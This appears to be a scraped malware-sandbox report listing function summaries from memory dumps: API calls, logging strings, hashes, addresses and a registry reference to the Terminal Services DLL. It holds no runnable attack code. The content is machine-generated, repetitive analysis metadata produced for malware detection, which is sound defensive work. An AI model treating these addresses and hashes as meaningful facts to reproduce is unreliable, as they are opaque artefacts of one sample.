Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 1fc9960f30abe22bcb097999b6fdb8156779ff557b7e3ad85cbb521ca77be5c5
Instruction ID: d5619b9919b58de7b3c697bbbcf3b81c12724a64ec8cab11b253ccbe4d1d75db
Opcode Fuzzy Hash: 1fc9960f30abe22bcb097999b6fdb8156779ff557b7e3ad85cbb521ca77be5c5
Instruction Fuzzy Hash: C6F0F4A0A4F687C6FAA16745F8002B5E3557FA4BC0F864071DC4C0BBB5EE2CE5478320

Function 00007FFB23AD3D33 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB23AD3D53

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

GetLastError.KERNEL32 ref: 00007FFB23AD3D86

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FFB23AD3D73
module_get_proc, xrefs: 00007FFB23AD3D6C, 00007FFB23AD3D96
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FFB23AD3D9D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 188c41bfd6b174dd9fe5aefa1a6f857091f0afd7d23226baab48999a918c53b1
Instruction ID: 8fbdfa2653560f0c34f18ca53559f3f1521cb784efba7852c3aa344657a45d1b
Opcode Fuzzy Hash: 188c41bfd6b174dd9fe5aefa1a6f857091f0afd7d23226baab48999a918c53b1
Instruction Fuzzy Hash: FDF0DCD0A09A8B92FA939B25EC009BD12116F0AFC4F0C41B1CC4C2BBD9EE2CE6478700

Function 00007FFB2273BC64 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB2273BC72

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

GetLastError.KERNEL32 ref: 00007FFB2273BC9E

Strings

[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FFB2273BC8D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FFB2273BCB1
module_load, xrefs: 00007FFB2273BC86, 00007FFB2273BCAA

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 8d1659e735e9d3400c6de84dd9b40b9c3c6d281b02242d90a8c082e27d936930
Instruction ID: bde73ccf11faa63e98706bc41a4fc5251d82e0af3dfa47cbf5a7f2feed988cc0
Opcode Fuzzy Hash: 8d1659e735e9d3400c6de84dd9b40b9c3c6d281b02242d90a8c082e27d936930
Instruction Fuzzy Hash: 82F030D4F0E68751FD23AB75EC514B426509F16784F442435CD1D96771EE9CAD868301

Function 00007FFB22764DF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB22764E02

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

GetLastError.KERNEL32 ref: 00007FFB22764E2E

Strings

module_load, xrefs: 00007FFB22764E16, 00007FFB22764E3A
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FFB22764E41
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FFB22764E1D

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 7cca643644e7bcaf1c907baea00bbca0ed8cf20dc5bd066c8b73e79fd5e1c3ca
Instruction ID: a8250501acf18a6c2f1a936fa7ff104f9d5b11640b164d3754a678fb15390435
Opcode Fuzzy Hash: 7cca643644e7bcaf1c907baea00bbca0ed8cf20dc5bd066c8b73e79fd5e1c3ca
Instruction Fuzzy Hash: C9F05EE0E0E69794FA27AB7AED506B122506F0BB84F481431CD0CD7375EE9CAD86C340

Function 00007FFB23AB5154 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB23AB5162

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

GetLastError.KERNEL32 ref: 00007FFB23AB518E

Strings

[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FFB23AB51A1
module_load, xrefs: 00007FFB23AB5176, 00007FFB23AB519A
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FFB23AB517D

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: a7ec13649a17c9f296edd1ddf330fe53298f0f0572134f32d410f2f50dfae7a0
Instruction ID: 6a2b027888ce143d730e1561641c205fc4e3ffe72cd16fe33b8e7722f75e3cf8
Opcode Fuzzy Hash: a7ec13649a17c9f296edd1ddf330fe53298f0f0572134f32d410f2f50dfae7a0
Instruction Fuzzy Hash: 92F03AD0B1A68795EE17A776FC504B816515F27B84B4C0AB1C80D3677AFD2CA9868300

Function 00007FFB23B01462 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FFB23B01470
WSAGetLastError.WS2_32 ref: 00007FFB23B01499

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

sock_shutdown, xrefs: 00007FFB23B0147E, 00007FFB23B014B0
[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d), xrefs: 00007FFB23B014B7
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FFB23B01485

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteshutdown
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d)$sock_shutdown
API String ID: 2143829457-932964775
Opcode ID: f51b57f847e0f4e1a6bded251f845f031aaaf7d0c87e1379987c8d54826d656a
Instruction ID: c7cb770f57cd3e888580ca3c8fa4cd85ffcae80b7a92d1bbde13268a635d9e28
Opcode Fuzzy Hash: f51b57f847e0f4e1a6bded251f845f031aaaf7d0c87e1379987c8d54826d656a
Instruction Fuzzy Hash: 89F090E8B18483A1E6525F3AECCD2BD1A216F90744F5C42B1D8CCB65A1EE2CA5578700

Function 00007FFB23B07734 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB23B07742

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

GetLastError.KERNEL32 ref: 00007FFB23B0776E

Strings

module_load, xrefs: 00007FFB23B07756, 00007FFB23B0777A
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FFB23B07781
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FFB23B0775D

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 130e48758e1c3a2105a9ce2de6cabd73f869a12da220f205fd1b6cd8289961a9
Instruction ID: ef8f90c177de6b3420fde7e73d03ae7d2f95761950f643a4ecd37a754d0b61b0
Opcode Fuzzy Hash: 130e48758e1c3a2105a9ce2de6cabd73f869a12da220f205fd1b6cd8289961a9
Instruction Fuzzy Hash: 43F0679CA0A68760E9539F3AEC8A9B812006F45BC4F0C05F0C88C27B55ED1CA54A8300

Function 00007FFB22702A34 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB22702A42

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

GetLastError.KERNEL32 ref: 00007FFB22702A6E

Strings

module_load, xrefs: 00007FFB22702A56, 00007FFB22702A7A
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FFB22702A81
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FFB22702A5D

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 32c18b76f08b7cc8001498ea846519ef5bb1b582e68d95df7049c8c15c3c2f96
Instruction ID: a2d58ca89824ad404ddd73e105cd7e7d58749ce0e5df6abe9e23e686ff6e02dd
Opcode Fuzzy Hash: 32c18b76f08b7cc8001498ea846519ef5bb1b582e68d95df7049c8c15c3c2f96
Instruction Fuzzy Hash: 37F067E1A0E6C741FD569B36EC209B426106F16B80F480031CD0CE7770EDDCAE8D8300

Function 00007FFB23AD3DB4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFB23AD3DC2

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

GetLastError.KERNEL32 ref: 00007FFB23AD3DEE

Strings

[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FFB23AD3DDD
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FFB23AD3E01
module_load, xrefs: 00007FFB23AD3DD6, 00007FFB23AD3DFA

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 02aa30a27acabf8418273c4516dbc6be6abafd922b87d9bf7db77230dfddbc77
Instruction ID: 30654f9683da34ade6e4a98e8ef55b29060cb74ddd6aa0ab2d48096455ce5997
Opcode Fuzzy Hash: 02aa30a27acabf8418273c4516dbc6be6abafd922b87d9bf7db77230dfddbc77
Instruction Fuzzy Hash: E9F05ED4E0AACB91FD97A776EC448BC16505F0AB84B4C05B1CC4C36BD5EE1CE5878300

Function 00007FFB23B014C5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26networkCOMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FFB23B014E6
WSAGetLastError.WS2_32 ref: 00007FFB23B01509

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

sock_close, xrefs: 00007FFB23B014F4, 00007FFB23B01515
[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23B0151C
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FFB23B014FB

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLastclosesocketfflushfwrite
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> closesocket failed(sock=0x%llx,WSAgle=%d)$sock_close
API String ID: 152032778-2221966578
Opcode ID: 4d1e840c65dd13ca28f842a676357966ba4de8baa90562c0d7065b947e361975
Instruction ID: e835a1ffe20576e4e2a57280e4c7319a92cde1e4c9828f0ab57b7b0dbe3c3128
Opcode Fuzzy Hash: 4d1e840c65dd13ca28f842a676357966ba4de8baa90562c0d7065b947e361975
Instruction Fuzzy Hash: E5F049DCA0858380FA065F76EC8D2BD1250AFA0B68F1C03B1D8BE761E2AD1CA4568700

Function 00007FFB22735DD0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 50stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB22735192: RegOpenKeyExA.ADVAPI32 ref: 00007FFB227351EC

strlen.MSVCRT ref: 00007FFB22735E22
strcmp.MSVCRT ref: 00007FFB22735E57

Strings

SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 00007FFB22735E00
termsrv.dll, xrefs: 00007FFB22735E50
ServiceDll, xrefs: 00007FFB22735DF9

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: Openstrcmpstrlen
String ID: SYSTEM\CurrentControlSet\Services\TermService\Parameters$ServiceDll$termsrv.dll
API String ID: 679246061-1413152910
Opcode ID: 8b43859d3751d4cfc2d3ca6901e27b712851a733f46dae56a8f51d62b50b9964
Instruction ID: 228cad9b2a55aab748916bb9e30a1683d87dd9a7dbe1c48d112df1e7879c208a
Opcode Fuzzy Hash: 8b43859d3751d4cfc2d3ca6901e27b712851a733f46dae56a8f51d62b50b9964
Instruction Fuzzy Hash: 16214FB1B4C6C740FA229730EC903F963A1AB55344F840132E65DC65A9DFBCDE45C641

Function 00007FFB2273ACA9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB2273ACCF
WSAGetLastError.WS2_32 ref: 00007FFB2273ACED

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

sock_set_blocking, xrefs: 00007FFB2273ACFD
[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB2273AD04

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 23f5562685c696737ec1e8831d1221f7ec40636c891bc10526f904917ff911de
Instruction ID: 778864e6d622ed5c271013d08905deeda65a10e1ad4e1140d8726d1f63828bb1
Opcode Fuzzy Hash: 23f5562685c696737ec1e8831d1221f7ec40636c891bc10526f904917ff911de
Instruction Fuzzy Hash: CDF0C2E1F0D58257F7124B39EC011A56660AB95794F108231EC2EC73B4EEBCAD46C702

Function 00007FFB22761D99 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB22761DBF
WSAGetLastError.WS2_32 ref: 00007FFB22761DDD

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB22761DF4
sock_set_blocking, xrefs: 00007FFB22761DED

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: fe125208dd0e6dbf3da39a57010b7ff95eace8d8d6e16e185746fb9b93963329
Instruction ID: b6a6555272d214346d1ab5472ba5bba35ea4908580fd8bfe3a496d4fbec56ca1
Opcode Fuzzy Hash: fe125208dd0e6dbf3da39a57010b7ff95eace8d8d6e16e185746fb9b93963329
Instruction Fuzzy Hash: 1BF062E1F0C58286F7125B3AED045B966A0AB9A794F204231ED2DC77B4DEBCEC468701

Function 00007FFB23AB26B9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB23AB26DF
WSAGetLastError.WS2_32 ref: 00007FFB23AB26FD

Part of subcall function 00007FFB23AB2072: fwrite.MSVCRT ref: 00007FFB23AB211E
Part of subcall function 00007FFB23AB2072: fflush.MSVCRT ref: 00007FFB23AB212A

Strings

[E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FFB23AB2714
sock_set_blocking, xrefs: 00007FFB23AB270D

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteioctlsocket
String ID: [E] (%s) -> ioctlsocket(FIONBIO) failed(sock=0x%llx,value=%d,WSAgle=%d)$sock_set_blocking
API String ID: 325303940-110789774
Opcode ID: 67b81b3e321f83b0a377acde5c8563e56ea9b9e6c9116943a0a0c80d8480ee6b
Instruction ID: 16b38148c20e13f7caab4ba9d1784e3ba67813f0f4d9293846e6a4dda512b5c4
Opcode Fuzzy Hash: 67b81b3e321f83b0a377acde5c8563e56ea9b9e6c9116943a0a0c80d8480ee6b
Instruction Fuzzy Hash: 93F0C2E1E1858242F7125B39EC101BD1161EBA6794F1C8372EC2DA37B8ED7CE8468700

Function 00007FFB23B013F9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFB23B0141F
